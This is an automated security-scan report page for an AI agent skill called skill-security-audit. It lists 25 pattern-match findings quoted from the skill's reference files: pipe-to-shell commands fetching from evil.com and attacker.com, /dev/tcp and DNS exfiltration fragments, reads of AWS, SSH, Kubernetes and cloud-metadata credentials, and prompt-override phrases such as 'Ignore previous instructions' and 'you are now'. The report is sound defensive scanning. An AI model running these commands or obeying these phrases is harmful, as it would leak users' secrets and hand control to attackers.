Caveat verdict

security-analysis

skill-security-audit

88
🟢 Trusted
No high-risk patterns surfaced by the deep scan — automated capability review, not behavioral proof.

This skill provides a comprehensive security audit framework with read-only operations, explicitly prohibits file modification without user confirmation, and educates about prompt injection red flags rather than performing any of them.

⚠ Flagged for review — coarse, uncorroborated signal, not a confirmed exploit. Review the config yourself before installing.

Automated static analysis — not a human review. Caveat flags capabilities, not confirmed intent, and can produce false positives. Disagree with this verdict? Use Dispute below.

0
security
90
transparency
70
maintenance

Findings (25)

Pattern match critical

Prompt injection — tries to override agent instructions

references/vulnerability-patterns.md · code · Ignore previous instructions

Pattern match critical

Accesses sensitive system files

references/vulnerability-patterns.md · code · /etc/passwd

Pattern match critical

Unicode homoglyph detected — uses lookalike characters to evade pattern matching

references/prompt-injection-patterns.md · code

Pattern match critical

Raw model control tokens — prompt injection via token manipulation

references/vulnerability-patterns.md · code · [INST]

Pattern match critical

Pipe-to-shell pattern (curl | sh) — supply chain attack vector

references/vulnerability-patterns.md · code · curl evil.com/shell.sh | bash

Pattern match critical

Pipe to bash — executes piped content as shell commands

references/vulnerability-patterns.md · code · | bash

Pattern match critical

Pipe-to-shell pattern (wget | sh)

references/vulnerability-patterns.md · code · wget -O- https://attacker.com/install.sh | sh

Pattern match critical

Pipe to sh — executes piped content as shell commands

references/vulnerability-patterns.md · code · | sh

Pattern match critical

Bash /dev/tcp — raw TCP connection via shell

references/vulnerability-patterns.md · code · /dev/tcp/

Pattern match critical

Accesses AWS credentials file

references/vulnerability-patterns.md · code · ~/.aws/credentials

Pattern match critical

Accesses Google Cloud credentials

references/vulnerability-patterns.md · code · ~/.config/gcloud

Pattern match critical

Accesses Azure credentials directory

references/vulnerability-patterns.md · code · ~/.azure

Pattern match high

Possible prompt injection — attempts to redefine agent identity

references/vulnerability-patterns.md · code · you are now

Pattern match high

Accesses .ssh directory

references/vulnerability-patterns.md · code · .ssh/

Pattern match high

os.system/popen — direct OS command execution

references/vulnerability-patterns.md · code · os.system(

Pattern match high

Uses eval() — can execute arbitrary code

SKILL.md · prose · downgraded · eval(

Pattern match high

Uses exec() — may execute shell commands

references/vulnerability-patterns.md · code · exec(

Pattern match high

subprocess execution — runs system commands from Python

references/vulnerability-patterns.md · code · subprocess.call(

Pattern match high

DNS exfiltration — embeds data in DNS queries

references/vulnerability-patterns.md · code · nslookup $(

Pattern match high

Accesses system credential store

references/vulnerability-patterns.md · code · Keychain

Pattern match high

Accesses cloud provider credentials

references/vulnerability-patterns.md · code · ~/.aws

Pattern match high

Accesses Kubernetes config (may contain cluster credentials)

references/vulnerability-patterns.md · code · ~/.kube/config

Pattern match high

HTTP request to bare IP address — common in malicious payloads

references/vulnerability-patterns.md · code · http://169.254.169.254

Pattern match high

apt-get install — installs system packages

references/vulnerability-patterns.md · code · apt-get install

Pattern match medium

Python urllib.request — network access

references/vulnerability-patterns.md · code · urllib.request

Why the tier is capped

Execution sink present in raw bytes (Hard Floor: class A/C/D/E/F). Final tier capped at Caution — cannot be lifted by any downgrade, example-payload opt-in, or allowlist.

Permissions & capabilities

No declared permissions — minimal attack surface.

Is this flag fair?

Check another skill Browse the registry Auditing your own skills or configs? Use the API